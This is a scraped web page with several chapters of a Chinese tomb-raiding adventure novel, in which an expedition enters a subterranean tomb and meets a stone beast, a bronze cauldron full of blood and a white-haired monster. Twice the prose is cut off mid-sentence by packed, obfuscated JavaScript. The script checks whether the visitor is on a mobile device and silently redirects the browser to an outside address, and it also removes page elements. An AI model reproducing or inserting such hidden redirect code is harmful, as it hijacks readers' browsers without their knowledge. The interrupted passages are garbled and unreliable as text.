封鬼觉得他说的不错,就点了点头。 “我们先原地休息十分钟,等恢复体力之后再检查这洞中的情况。” 赶快恢复体温是目前最重要的事情,封鬼已经冻得嘴都合不拢了。有人支起卡式炉开始烧热水,解鸦门坐在一块岩石上在那擦着湿漉漉的头发,动作十分优雅,就像是丹麦的美人鱼铜像一样美丽。 二胖在他旁边打算脱潜水衣,就听鸦门一声呵斥阻止了他。 “干什么呢?不准脱下来,潜水服可以保暖的,等你体温恢复之后再脱也不迟。” 二胖傻傻的笑了笑,身上甭提有多别扭。他的体格实在太过于魁梧,这紧身衣绑在身上那么久勒得他脖子都红了。 “不打紧,我壮实的很,冻不死人的。” 二胖说完也顾不上形象三下五除二就脱了潜水服,露出傲人的健美身材,八块光滑的腹肌上流着水珠,别说还真有那么点儿小性感。不过他那张脸就太扭曲了,又青又绿的,嘴唇也白得吓人,实在缺乏美感。鸦门递给他毯子披上,二胖就乖乖坐到一边儿再也没力气说话了。 封鬼讨来杯热水抱在怀里,喝了两口就观察起洞里的情况。这里跟之前的水洞不同,石壁没有那么光滑,头顶还分布着大大小小的石笋。水潭分出两条小溪流,沿着人工挖凿的河道向山洞深处的黑暗流淌。 看着看着,封鬼就觉得一股熟悉的感觉涌了上来。这里的地貌环境怎么好像似曾相识啊?再仔细一想,他就想起来了。瀑布,水潭,两条溪流,这他娘的不就是陈癞子他们在伏牛山中进入的那个山谷吗? 难道说这天丑龙王宫跟那李淳风墓一样,也是在这水潭的下面?!我去!这也太邪门了吧,怎么会出现两处风水格局一模一样的墓呢?妈的,他是再也不想下水了,体力完全没有恢复,这要是再潜一次,估计他就要交代在这了。 不过很快封鬼的这种想法就被推翻了,有人在山洞深处叫了几声,大家连忙赶了过去,就见两条河流交汇之处,出现一只巨大的石兽,有五六层楼这么高。这只石兽蹲坐在地上,头朝南方嘶吼,凶神恶煞的,看着十分眼熟啊,连二胖都认出来了,大叫一声: “我去!这他娘的又是一只饕餮啊!” 二胖说的没错,这确实像是饕餮,与那石门上的巨脸十分相像。没有人对这石饕餮表示怀疑,不过封鬼见那宋阿拽却盯着石兽沉思,面色十分凝重。 这石兽应该就是他发现的,然后让小白叫来众人。这一路上封鬼也没怎么注意他的状况,心说他应该是不怕冷的,那地下河水对他应该没有什么影响。不过这时候见他也是一脸的疲惫,在矿灯的映射下显得十分苍白,还透着股诡异的神秘。 “这不是饕餮。” 他这五个字说完,所有人一下子都楞住了。什么?这不是饕餮?那会是什么呢?封鬼突然想到一种可能性,随即摇了摇头,不可能,绝对不可能啊!如果这是真的,那可就太令人毛骨悚然了。 “不是饕餮是什么?”鸦门就凑过来问,宋阿拽冷哼一声,又蹦出来两个字。 “是犼。” 犼?!封鬼顿时就觉得头皮都炸了起来,因为他的那个可能性应验了,宋阿拽说的与自己想的一样,恐怕这石兽确实不是饕餮啊,而是一只犼啊! “这位小哥有什么证据这么说?这石头分明与石门上的一样,是只饕餮。”钱串子不服,认定了这就是只饕餮。 宋阿拽没看他,只是盯着石兽,一字一顿的说: “石门上的是饕餮,而这个确实是犼。” 钱串子的老人心性这时候就跑出来了,他是长者,见多识广啊。被个小辈纠正错误,哪里肯服?非说这是饕餮,对大伙说宋阿拽那是胡说,不要相信他的话。 不过还是有很多人选择认同宋阿拽的说法。本来啊,那石门上的巨脸与这石兽只是相似,如果仔细看的话,就会发现有很多地方不同。比如鬃毛的走向,比如额头的宽窄,最明显的就是那张大嘴中獠牙的长短和形状。 封鬼还是不愿意相信这是只比饕餮还可怕的犼,就问宋阿拽: “犼这种东西十分稀少,千百年来根本就没有人见过,你怎么能确定这就是犼呢?” 刚说完封鬼就后悔了,他突然想到,之前鸦门在陈家就见到了一只犼啊,虽然他并没有亲眼所见,不过按照鸦门的描述与书上的记载,应该是没有错。但是现在一想,那时候下的定论确实是草率了,因为陈三水并没有得尸厥症啊,所以那黑雾是犼的可能性也就低了很多,倒更有可能是黑麒麟了。 宋阿拽扭头看向封鬼,那是一种意外的表情,好像在说怎么连你也认不出来这是只犼呢?封鬼心说他是不是以为封家的人都神通广大,见过这世界上的所有妖魔鬼怪,所以肯定认识这是什么东西。 “我捉过一只犼,所以我认得。”宋阿拽冷冷的说了一句,顿时就引起一片惊讶的声音。 啊?他捉过一只犼?这怎么可能啊?像犼这种敢与神叫嚣的怪物他都能捉到?他到底是何方神圣,难不成是观音菩萨? 随即就有人开始嗤笑了,只见钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过等他把潜水服一脱下来,封鬼就发现不对劲的地方。宋阿拽虽然穿着条黑裤子,上身却是光溜溜的,因为他面对石兽背对大家,所以后背是一览无余。封鬼就看见在他的后背上,纹着之前看到的那条青龙,几乎覆盖了他的整个后背。可随后封鬼心里就咯噔了一下,暗叫不对。 他清楚的记得这条龙之前是纹在他的身前啊,怎么现在却跑到背后来了?难道这纹身是画上去的,他又擦了重新画的?可他不像是这么无聊的人啊,再说这两天他也没这么多时间和工具啊。难不成这龙真是个活物?之前看到祂胡须在动那不是眼花,而是真的?! 封鬼还没来及细想,就见宋阿拽已经穿上了小胡子递过来的衬衫。只见他趴在地上,朝石兽的底部伸出手,就看见没有系口的衣袖在灯光下开始猛烈的飘动,封鬼一下子就明白了,这下面有很大的空间啊,因为空气对流才引起强风。 “地宫入口在此,铜镜。” 还没等他说完,陈国祥就将铜镜递了过去。宋阿拽摸到一个突起的石疙瘩,拧了两圈,又是一阵机括的噶哒声,石兽的爪下突然打开了一个暗格,用探照灯往里一看,是与铜镜上的八卦图对应的凹槽,和石门上的一样。 宋阿拽将铜镜嵌入,按着之前的顺序来回转了几圈,就听咣当一声巨响,随后伴着铁链拉动的声音,巨大的石兽竟然自己挪动开来,露出一个直径三四米的地洞。洞低漆黑一片深不见底,阵阵夹杂着泥土腥气的阴湿冷风从洞里窜上来直扑人的面门。 “我的姥姥!这他娘的到底是通往哪儿的啊?不会是地狱吧!”二胖忍不出叫出声,大伙没心思搭理他,都被这恐怖的地洞吸引了所有的注意。 陈晓扔了个冷烟火下去,蓝绿色的冷光在如同夜幕的黑暗中呈直线迅速下落,然后碰到了好像是石阶之类的东西反弹之后就继续下落,最后很快被黑暗吞噬,根本看不到底。陈晓又连续扔了两个下去,这才看清楚一些近处的情况,洞中的石壁上凿着盘旋而下的石阶,照石壁的陡峭程度与生长构造来看,这个洞应该是天然形成而不是人工挖凿的。 “还犹豫什么?咱们赶紧下去吧。”二胖心急如焚,任何事他都是胆大包天,根本不顾什么危险不危险,便催促着就要上路。 “慢着,这下面会遇上什么事谁也不好说,依老夫之见咱们还是好好合计合计,以便遇上什么突发情况也能应对一番。”钱串子又开始显露出他的老人心性,想要让一帮小辈听他运筹帷幄。只可惜此时此刻大家个个都是跃跃欲试牛气冲天,哪里肯听他的?再说时间也等不了,根本不可能让你在这慢慢合计。反正都走到这了,地宫就在眼前,就算前面是阿鼻地狱他们也要硬着头皮闯了。 23. 【23】深入地下险象环生 鸦门让大家都脱了潜水衣换上便服,又收拾了物资,一人身上背着两三个行军包,便拿着矿灯与狼眼眼手电回到洞前。 宋阿拽这次打头阵,麻溜儿的举着火把第一个下了台阶,钱串子和封鬼紧跟其后。 台阶很窄,是整块的硬石等距离罗列嵌入峭壁中的,基本上只融一人通过,像二胖那种高大魁梧的的就要脚下留神了。封鬼跟在宋阿拽后面,一手摸着峭壁缓缓下行。上面那两股溪流沿着石壁流淌,让整个岩壁很凉很潮湿。整个部队都在缓慢的前进,紧绷了神经一句话也不敢说,生怕一不小心失足坠入深渊。 封鬼觉得很奇怪,为什么李淳风会选择将龙肆葬在这么深的石洞里?这通道如此陡峭,根本不适合通行,一个人通过尚且如此费劲,他究竟是如何将棺椁从这么高的地方运下来的呢?还有那些陪葬品,怎么说天丑龙王的陪葬品都不可能是小数目吧,难道根本没人运输直接将他的棺椁和陪葬品扔下来? 因为想着事情而走神,封鬼脚下一空险些跌下石阶,幸亏宋阿拽反应快及时拽住了他的胳膊才没有发生意外。 “留神。”宋阿拽小声提醒,封鬼再也不敢胡思乱想,紧贴着墙壁专心脚下。 封鬼抬手看了下气压表,他们已经深入终南山内部了。这走了两个多小时,他早就感到小腿肚子抽筋了,因为神经高度紧张也浑身的难受。也不知道还要走多久才能到头。这时候周围的环境已经发生了明显的变化,洞穴比之前宽了不知多少倍,空气的流动也更加剧烈了。封鬼下意识的往左看去,在对面的峭壁上竟然有大片大片的亮光闪耀,好像是夜幕上的繁星一般璀璨。 对面离他们实在是太远了,一般的矿灯射程都有100米,可因为空间太大灯光无法聚集,用矿灯竟然根本就看不清对面的情况。封鬼只好掏出射程更远的德制狼眼手电向对面照去,这下看得清楚,出现在峭壁上的竟然是成群的石英结晶体,巨大的白色水晶簇就像是雨后蘑菇一样满满的生长在陡峭的石壁上,形成了气势浩荡的天然水晶墙。刚才看到的那些璀璨繁星正是水晶反射光亮而成的。 显然大家也都看到了对面巨大的水晶镜面,整个队伍都停了下来,为这神奇的自然景象所折服。 “乖乖,这么多水晶要是拿去卖那得值多少钱啊?”二胖那贪财的主对着水晶忍不住的流哈喇子,钱串子啧了啧嘴,叹道: “你懂什么!水晶乃聚集阴气之物,自上古就是镇鬼的神器,这么大面积的水晶悬挂于此阴寒之地,也不知吸收了多少年月的阴气,有多少的邪灵怨魂封在其中。若是被打碎了将那些阴邪释放出来,这世上少不了一场恶鬼作祟。” “哦,所以说修佛之人喜欢拿水晶做佛珠,原来是为了将心中与外界的邪恶镇封在水晶之中啊。”二胖接过话茬,继续说: “哎?我说,李淳风将这天丑龙肆埋在这里,会不会是为了镇守这水晶中的邪灵?”二胖提出自己的看法,钱串子摇了摇头,道: “以恶制恶?那李淳风没有这么邪乎吧。” 众人都觉得有道理,也没人反驳。突然队伍后面有个人叫了一声,封鬼听声音应该是那个眼镜学者,就听他说: “水晶一般是出现在火山口啊,难不成这个洞是个火山口?” 没有人搭话,也不知道都在想些什么。不过封鬼顿时就觉得后背一凉啊,这他娘的要真是个火山口,而且还是个活的火山,万一爆发那岂不是要死翘翘啊! 陈老四换了只手拿矿灯,催促道: “好了,我们继续走吧。” 于是队伍继续前行。越走越深,一路上歇歇停停的,再看气压表都到海平面以下了,这要再走下去,恐怕不到地狱也要到地心了啊。 就在这时,阵阵水流声从四面八方隐隐传来,再加上洞中的回音效果,时而轰隆时而哗啦,好像是幻觉一样令人难辨真假。 “前面又有条大河啊。”陈老四叹道,众人都无疑有他。又走了大概十分钟,流水声越来越响,看来不只是河,还有瀑布啊。这时候队伍停了下来,宋阿拽说已经到头了。大家争先恐后的挤到前面去,石阶已经到达地面,通往地下的洞穴突然改了道,在前方出现一片更加广阔漆黑的空间。震耳欲聋的流水声就从前方传来,鸦门打出一枚信号弹,一道气势磅礴的水墙从高达几十余米的巨大岩石缝隙间倾泻出来,重重击落在下面的河道中,激起蒸腾的雾气与水花。 大伙走了一路累了一路也渴了一路,见到这一条清澈洁净的蜿蜒大河哪里还安奈的住,全都跑进河里大口的灌了起来。 “呸!”二胖把刚到嘴边的水喷了出来,这水比上面的更加冰冷刺骨,麻得嘴生疼,就像是有冰刀子在嘴边来回剌一样,根本难以下咽,只能小口的抿着解馋。河水虽然冰冷却甘甜爽口,这要是在炎热的太阳底下来上这么一口,绝对酷爽的沁人心脾。 “我说这可是绝对纯天然矿泉水!甘甜可口水质一流!还带自动冰镇的,这要是一瓶瓶装了去卖钱,那不得发财发到家了! 二胖又开始算计起生财之道,封鬼刚想挖苦他两句,就看见水中有鱼群游来游去,只见那些鱼红眼红腹,牙齿尖锐锋利,眼镜学者说这是红腹锯鲑脂鲤,又明红腹水虎鱼,是相当凶猛的一种食人鱼,提醒大家赶快上岸。 “嗨!只要不下水,这群孙子就是再厉害也奈何不了我们。”二胖上岸之后就在那大放厥词,封鬼都不想鄙视他。不过他很好奇,这些鱼究竟是以什么为生呢?地下又没有鸟兽,水里也没看到其他的生物,难道这些鱼是同类残杀吗?正想着,就听有人在一块岩石后面喊道: “大家快过来看!好大一口鼎啊!” 众人循声赶去,就见解鸦门举着矿灯站在一个将近3米高的巨大物体前,微弱的火光将那物体映照得无比黝黑诡异。 仔细一看,那确实是一口青铜大鼎,只见鼎上四个面都刻有那种不知是饕餮还是犼的丑陋巨脸,还夹杂着一些模糊不清的古文。待众人把灯光聚齐,这才发现鼎的上空悬吊着一口巨大的石棺,由碗底粗细的铁链缠挂着。再仔细一看,那棺材原来是由天然水晶制成,透明的晶体映出里面模糊的黑影来。 “我去!这他娘的就是天丑龙肆的棺材?!嗯,玄乎确实是挺玄乎,就是规模小了点,我还以为是秦始皇那种壮观的地宫呢。” 二胖的语气明显透着埋怨,众人脸上也表现出很多的失望之情。周围没有任何的陪葬品,难道他们是估计错误?不光是没有什么长生不老药,甚至连一件明器都摸不到!靠!这趟不会就这么白跑了吧。 钱串子伸出枯瘦的手用异于常人的大指节敲击青铜鼎,发出沉闷的声音,里面应该不是空的,肯定有东西。 小白趁人不备,已经爬到了青铜鼎上,想要去抓铁链爬上水晶棺看看里面有什么,钱串子大喝一声,吓得他脚一滑掉入了鼎内。大伙着急,就要爬上去救人,却没想到他竟然自己爬出来了,满身的暗红色,浑身散发出一股腥臭。 “我去!这TM是什么味儿!熏死人了!”二胖对味道特别敏感,捏着鼻子连连后退。小白抹了把脸上的秽物,从鼎口跳下来之后就骂骂咧咧的冲向河边,脱了衣服下河洗澡。大家怕他被那些水虎鱼咬都围过去提醒他注意,就见的周围已经全是那种食人鱼。不过奇怪的是那些鱼虽然数量多却没有一条敢靠近的,就只是围在他周围,形成一个包围圈,可笑的是,这种状态让人觉得那些鱼不是在捕猎,而是在防御小白这个侵略者,也不知道它们是怕小白呢还是怕他身上红色的不明液体。 等小白洗干净上来之后,打了个喷嚏就对众人说: “我去!那鼎里全TM是死人啊!染了老子一身的臭血,恶心死了!” 什么!?鼎里有死人?!刚才那些红色的腥臭液体是血?!这怎么可能啊?!就算真有死人,几千年来早就化成骨灰了,再说血也早就干了,怎么可能会染了小白一身呢? “你胡说什么呢?鼎里怎么可能会有死人?” 钱串子根本不信,不只是他,所有人都是不信。小白叹了口气,摇了摇头继续说: “不信你们自己去看,我TM是再也不想靠近那口鼎了!这也太邪门了!看来附近一定有鬼怪作祟。” 小白说着就找了个毯子披上,然后钻进离青铜鼎最远的一个睡袋睡觉去了。封鬼见他这举动心里好笑啊,都这种情况了还能睡得下去?要真是害怕早就吓得跑走了,还能如此淡定的睡觉?就说宋阿拽是个怪人,连他的手下也个个都是怪人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391843|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过听小白这么一描述,也没有人敢再去看个究竟,毕竟刚才那一幕是有目共睹啊,他确实是染了满身的腥臭液体爬了出来,而液体腥臭又是暗红色,这除了是血恐怕也没有别的可能了吧。 有人开始恐慌起来,吵着要推倒青铜鼎砸烂水晶棺,就算真有僵尸鬼怪也要先下手为强,捣毁他的老巢再说。 钱串子叫了一声,示意众人安静下来,提高嗓子说: “大家先不要急,依老夫多年的经验所见,这种空气流动的风水格局中是不可能有僵尸的。刚才那位小哥掉进鼎里,没有灯光也看不真切,不一定就是什么死人,很可能是失足掉入鼎内的动物死尸,而且岩洞中有水,经过这么多年的侵蚀鼎内肯定全是锈水,再加上腐烂的尸体,腥臭也是正常,而铁锈浓度高的话也会变成血液一样的暗红色。所以大家不要担心,咱们先原地休息,等吃饱饭,有了体力,再去看个究竟,然后往岩洞深处走,说不定地宫就在里面。” 钱串子这番话说得十分有道理,让人放心不少。 折腾了好几个小时,脚下跟灌了铅一样,确实是再也走不动了。于是大家原地烧水煮饭,封鬼和二胖坐在地上,脱了鞋子开始揉脚。 登山靴是新的,皮子硬实,封鬼的脚底板和脚后跟磨出了好几个大水泡,二胖见了就笑话他: “你就是个女人,细皮嫩肉的,这么几步路脚就烂了。我说等回北京之后跟霍爷去健身房吧,也练就一身铜皮铁骨,好百毒不侵啊。” 封鬼苦笑,心说这跟健身有毛关系,就算你再一身肌肉路走多了这脚丫子该起泡它就起泡。刚想开口骂两句撒撒气,就见二胖脸色一变,完全没了之前的幸灾乐祸。封鬼忙问怎么回事,就见他抬起自己的脚,封鬼一看就倒吸一口凉气!只见二胖的脚底板上粘着许多细小的黄黑色的肉虫,死死吸着他的皮肉,不论二胖怎么拍打都不下来。 “我去!这他娘的是什么玩意?!”二胖一下子就咋呼了起来,钱串子正在一旁抽烟,听到他叫唤就探身过来看,看完之后就咧着嘴笑: “没想到啊,这水里头竟然还有这种东西。” 封鬼忙问怎么回事,这是什么虫子。钱串子摇了摇头,从腰包里掏出打火机打着之后将火苗靠近那群虫子烤,没一会儿虫子都掉到地上蠕动起来。封鬼看着恶心,见二胖脚板上全是小血点儿,钱串子又摸出一盒绿色的药膏给二胖示意他涂上。 “这是水蛭,俗名吸血蚂蝗,我们那儿的人都叫它血钻子。这种东西在野外比遇上野兽还要恐怖,专门吸人畜的血,如果不小心,它还会钻进人畜的皮肤里,寄生在体内,直到把宿主的血吸干。” “我操!叫你他娘的敢吸霍爷的血!”骂骂咧咧的拿起鞋底拍死一大片,钱串子又吸了口烟,继续说: “算你命大,没有让它钻进去。不过这么小的品种我倒是没见过,也不知道会不会有毒。” 钱串子说完封鬼就赶忙跑去告诉大其他人,让大家都检查一下身上,果然有几个也中招了,不过这血钻子还真是奇怪,不吸别的地方,专门吸人的脚底板,估计是穿着潜水衣它也钻不进去别的地方。不过一想起来就让人后怕啊,就刚才下水那么一小会儿就被吸上了,幸亏大家及时发现,如果要是再晚上几个小时,那血不是要给吸干了。 一想到刚才还喝了地下水,二胖恶心的直反胃。这如果要是喝了血钻子到肚子里,那岂不是要肠穿肚而死啊。钱串子就安慰他,血钻子是黒的,水是透明的,你用手捧着水喝,除非眼瞎,否则肯定是能看见的。 二胖还是怀疑自己的眼神,连着喝了好几杯滚烫的热水,说是要把血钻子烫死在肚子里,这才稍微舒坦了点儿。 吃完饭,陈老四对众人说,这个时候估计雨肯定是下下来了,不过也不用太担心,水势涨不了这么快,就算会淹进地下那至少也是十几个小时之后的事,而暴雨一般不会下这么久,就算他们倒霉遇上山洪了,可这里有那么大条地下河,绝迹是淹不了的,雨水肯定会顺着河道流向洼地。 于是大家决定睡上几个小时补充体力。宋阿拽主动提出要守夜,万一遇上突发情况好叫醒大家。其他人都钻进睡袋,没过几分钟空旷的山洞中就响起此起彼伏的呼噜声。 24. 【24】白毛僵 山洞里实在寒冷,封鬼裹着大衣靠在石头上,没有丝毫的困意。见宋阿拽只穿着单薄的衣裤坐在青铜鼎前看着上面的兽脸发呆,封鬼心里顿时涌起一股难以言明的寥落感。 这个人实在是太可怜了,得了这么一种怪病,整日生活在冰冷的世界里,从小到大肯定从来都没有感受过温暖,就跟个冷血动物一样,简直可以说不能算是个严格意义上的人类。 他的身上背负了太多令人费解的秘密,就像是深不见底的秘密丛林,吸引着人想要一探究竟。像宋阿拽这种人其实永远都在散发着一种魔性的魅力,好像他就只是活在自己的世界里,跟周围的一切都没有任何的关联。 越是这种神秘莫测的人,越是吸引着别人想要靠近。别说解鸦门了,就是封鬼自己,也对有关他的事十分的好奇。 封鬼就在心里暗骂,一个男人对另外一个男人这么感兴趣是不是变态啊? 不过这也不能怪他,他怎么不对二胖感兴趣?怎么不对别的男人感兴趣?那肯定问题是出在宋阿拽身上啊,怪就怪他是这么一个神秘莫测的存在,恐怕不只自己,就是陈晓陈老四他们肯定也对宋阿拽相当的在意。 不过最令封鬼在意的还是他身上那条龙纹身,你说它怎么就从前面跑到后面了呢? 封鬼真想扑上去扒开他的衣服看看,自己到底是不是眼花,那条龙是不是又换了位置。 想着想着封鬼就走了神了,没发现宋阿拽已经回过头来,正好与自己对上了眼。 我去!封鬼暗骂一声,连忙闭眼装睡,可已经来不及了。宋阿拽本就离他不远,没几步就挪到自己身边,封鬼见也不好再装下去,就睁开眼看着他说: “要不你睡会儿?我不困,让我先守吧。” 宋阿拽摇了摇头,也靠在封鬼靠着的那块岩石上,淡淡的说: “有烟吗?” “有!”封鬼一个鲤鱼打挺起来,从背包里掏出一盒万宝路,递给他一支点上。他深深吸了一口,吐出个烟圈,封鬼顿时浑身一凉啊,觉得周围的温度因他呼出的冷气又降了不少。 见他那架势貌似是要跟自己聊天,封鬼来了精神,又裹了裹衣服坐正身子,就这么静静的看着他抽烟等着他开口。 可等他烟都快抽完了,除了那句“有烟吗”之外,丝毫没有想要再开口的意思。封鬼有些扫兴,撇了撇嘴就打算睡觉。 “你猜我为什么会到这里。” 封鬼以为自己出现了幻听,见宋阿拽根本没有看着自己,觉得他是自言自语,就没搭理他。心说我怎么知道你为什么到这里来?是为了长生不老药还是为了财宝?我又不是你肚子里的蛔虫,这他娘的谁知道啊。 封鬼本以为他会继续说下去,可是等了一会儿他还是什么都没说。封鬼被他吊起了胃口,憋得难受,就没好气的问: “为什么?” “为了弄清一件事。” “什么事?” “我到底是谁。” 我操!封鬼差点没忍住骂出声来。这人脑子是真有病吧?该吃药了吧您?不过他还是碍于面子忍住了,不知为什么,在这人面前他就是没法像在二胖面前那样随性,想骂就骂。 或许是因为他不苟言笑的冷颜,又或者是他古怪孤僻的性格,实在是难以相处,怕稍不留意得罪了他就再也抓不住靠近的机会了。 “听玄武说你叫宋天官?”封鬼小心翼翼的问着,生怕他会嫌弃自己。不过好在他不是这么小气的人,也没对小胡子透露自己的名字有什么意见,只是点头嗯了一声,算是回答。 封鬼哪里会满意,继续问道: “既然知道自己的名字,怎么会不知道自己是谁?难道你失忆了?不记得以前的事?” 宋阿拽摇了摇头,目光还是看着前方,淡淡的说: “我觉得我的人生都是假的,现在这个只是一副空壳,或者说只是一具容器。他们想要的,根本不是我这个人,而是我身体里的东西。” 封鬼是第一次听宋阿拽说了这么多话,不过这番话实在是太高深莫测,让人无法理解。 什么叫空壳和容器?他们又是谁?他的身体里有装着什么吗?人体里不过就是内脏和血液,除了这个还能是什么?难不成他们是贩卖人体器官的组织?宋阿拽是逃出来的? 摇了摇头,封鬼觉得自己的想法实在荒唐。正想问他们到底是谁,宋阿拽就抽完了烟,想要再讨一支。封鬼又掏了一支递给他,不经意碰触到他的手指,冷得像冰一样,令他的寒毛都炸了起来。 封鬼也不知是怎么了,跟着了魔一样突然就抓住他的手,那修长白皙的手指神经质的动了动,就反手握住了封鬼的手。 冰冷的感觉从手心传来,直直刺入心脏。封鬼有些茫然的看着眼前这个男人,不知道他是要干嘛,就见他叹了口气,低声说: “很暖和。” 说完就松开了手,封鬼总算是从那冰冷刺骨的感觉中解脱了出来。 封鬼听他这话心中觉得骇然,自己的手现在应该也算是冰冷的了,对他而言这就算是暖和了吗?实在是个可怜人啊,对他的同情又增加了几分。 “你刚才说的空壳容器是什么意思?”封鬼继续追问,宋阿拽点燃烟,叼在嘴里眯起眼看了他一眼就转过头,又恢复了原本那种漠然冰冷的感觉,好像刚才他根本就没有和自己说话,一切都是封鬼的幻觉一样。 “你身上有我想要的东西。”宋阿拽说完,就又挪回了原来的地方,继续盯着青铜鼎,再也没有其他的反应。 封鬼整个人都懵了,这又是什么意思?自己身上有他想要得到的东西?那是什么呢?他的身上没什么值钱的宝贝,如果说非要有什么稀奇物的话,除了邪牙刀,还有就是金行珠。 不过这两件东西他不应该知道啊,邪牙是封家嫡传法器,而金行珠是不久前东山寺的觉海和尚突然给他的,这些信息那宋阿拽作为一个外人是绝对不可能知道的,再说就算他知道了,要这两样东西对他而言又有什么用呢? 如果真要继续想下去,那牵扯的东西可就大了去了。这两样东西都与封家有关,与他爷爷有关。 这么说宋阿拽确实认识他爷爷,或者说与他们封家有莫大的渊源。只是不知道这渊源究竟是什么,而玄武也说过,这些事都不是他现在应该知道的。 也许以后见了父亲和二叔该去问问,他们是否对自己隐藏了一些不可告人的秘密。 想着想着,封鬼的意识开始朦胧,没过多久就睡着了。这一觉睡得实在不踏实,也不知过了多久,恍惚间就听见有人在叫,听起来好像是二胖的声音。 封鬼一下子就清醒了,忙循声去看,发现在青铜鼎的旁边站着一个白乎乎的东西! 之所以称它为东西而不是人,实在是因为这个白影子超出了正常人类的范畴,身高竟然跟青铜鼎差不多,而且那影子根本就没有穿衣服,竟然是一身白毛!在几盏散落在地的矿灯照射下看得十分清楚。 我去!封鬼吓了一跳,第一反应就是雪人啊,这终南山的地底下难不成有雪人?!一想不可能,这又不是雪山哪里来的雪人啊。 难道是白猩猩?可也没有这么大个的啊。 排除以上两种猜测之后,那就还剩下唯一的一种可能,就是初级白毛僵尸啊! 刚才听见二胖在叫,现在却不见他人,难道已经遭了毒手了? 见那白毛僵站在青铜鼎前一动不动,封鬼试探性的半蹲起身猫腰在地上爬了两步,发现它没有任何反应,就想去叫醒别人来帮忙,可刚一转身,顿时整个头皮都炸了起来! 原本躺满着人的空地上,竟然一个人都没有,空空如也,只剩下横七竖八极不规整的睡袋和背包,就好像是队伍突然遇到袭击来不及收拾丢下物资仓皇而逃一样。 我去!封鬼暗骂了一句,这群狗日的龟孙子,也太TM不仗义了,遇到白毛僵也不叫醒自己,竟然就这么丢下他逃命去了! 最令封鬼失望的还是那宋阿拽,之前两人还抽烟聊天呢,本以为从今后好歹能相互关照一下,没想到这帮子人全都是没有血性的混蛋! 越想封鬼就越是难受啊,突然就想到二胖,还是自家兄弟仗义!不管怎么说,刚才听到他在叫,那肯定是没有抛弃自己,说不定就是为了救自己才命丧尸口啊。 不行,现在这个时候一定要冷静,绝对不能乱。封鬼屏气凝神,尽量放轻呼吸,躲在一块岩石后面悄悄观察那背对自己的白毛僵。这种白毛僵虽然不及绿、黑、紫、赤毛僵的厉害程度,可那也毕竟是成了僵尸级的怪物啊,虽然行动迟缓,却一身铜皮铁骨,刀枪不入。必须用红线五帝钱与朱砂苻印才能镇住它,可是法器都分别放在不同的行军包里,这地上一片狼藉一时间他也分不清哪个是哪个。 目前自己身上能救命的也就只有邪牙刀和这一身封鬼宝血了,想到这封鬼就想溜,趁着那白毛僵还没注意到自己, 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封鬼又仔细去看,发现这怪物的体格不怎么像是猿人猩猩一类的,身材和四肢的比例确实是个健壮魁梧的人。目光看向鼎上的水晶棺,发现棺材纹丝不动,并没有任何被打开的痕迹,那就说明这白毛僵不是从棺材里跑出来的,那它是从哪里来的呢?难道是岩洞深处的天丑龙王宫里跑出来的? 正想着,封鬼突然听到从青铜鼎里发出一阵沉闷的敲击声,刚开始没有什么规律,再仔细听下去,就发生了变化。三短三长三短,三短三长三短,三短三长三短!这分明是摩斯电码的SOS求救信号啊! 封鬼一下子就来了精神,这显然是人敲击鼎壁发出的声音,这是二胖在求救啊!原来他真的没有死,他还活着! 不再多想,管他是不是僵尸,反正绝对不是人,封鬼握紧邪牙刀,用刀刃在手心一划,将刀身沾满自己的血,然后就爬到岩石上,突然发力猛扑过去,跳上它的后背,一刀刺入了白毛僵脖子上的死穴。 那怪物惨叫一声,剧烈晃动着自己的身体,没几下就把封鬼甩落在地,滚了三圈才停下。 这时候白毛僵算是终于注意到封鬼了,整个身子都转了过来,正面对着他。封鬼一看清它的脸,整个人就傻了。 那张脸根本就不是什么雪人猩猩,也不是僵尸,分明是张人脸!而这张人脸不是别人的,却正是宋阿拽的!! 我去!这TM到底是什么情况?!封鬼一下子就骂了出来,瞪大眼与他对视。就见那长着宋阿拽的脸的白毛怪捂着脖子怒红了眼瞪着自己,脸上尽是震惊错愕与恼怒啊,向前迈出两步,封鬼刚要后退,就见他一下子倒在了地上,脖子上的血窟窿汩汩的直往外流血啊,白如雪的皮毛被染红一大片。 封鬼一下自子就瘫坐在地,大口大口的喘着气,与宋阿拽面面相觑。他是一肚子的话想要问啊,可是话到嘴边却无论如何也说不出口。那白毛怪也不说话,或者说不知道它会不会说话,就这么趴在地上看着封鬼,眼中的光辉是越来越黯淡。 这时候那串求救的敲击声又响了起来,封鬼也顾不上宋阿拽的死活了,爬起来走到鼎下就叫: “二胖!二胖?是你吗?!” 没有人回答,只能听见那敲击鼎壁的声音一直在继续。封鬼又叫了几声,还是没人回应,他只好爬上青铜鼎,趴在口边儿直往里看。里面是一片漆黑啊,什么都看不见,一股腥臭扑面而来,熏得他差点没站稳掉下去。 “二胖!你在哪儿呢?!” 封鬼朝里面喊,还是没动静,而且敲击声也已经没了。他突然觉得有点儿不对劲了。如果要是二胖绝对不可能不答应自己啊,难道说他已经失去意识沉到鼎底去了? 就在这时候,原本躺在地上的白毛怪竟然又起来了,封鬼转头朝它看去,发现他正摇摇晃晃的站了起来,就听他开口朝自己喊了一声! “快跑!” 封鬼还没反应过来是怎么一回事,就感觉有个东西抓住了自己的衣服,他猛然回头,看见一只血淋淋的手正扯着自己的衣领往下拉! 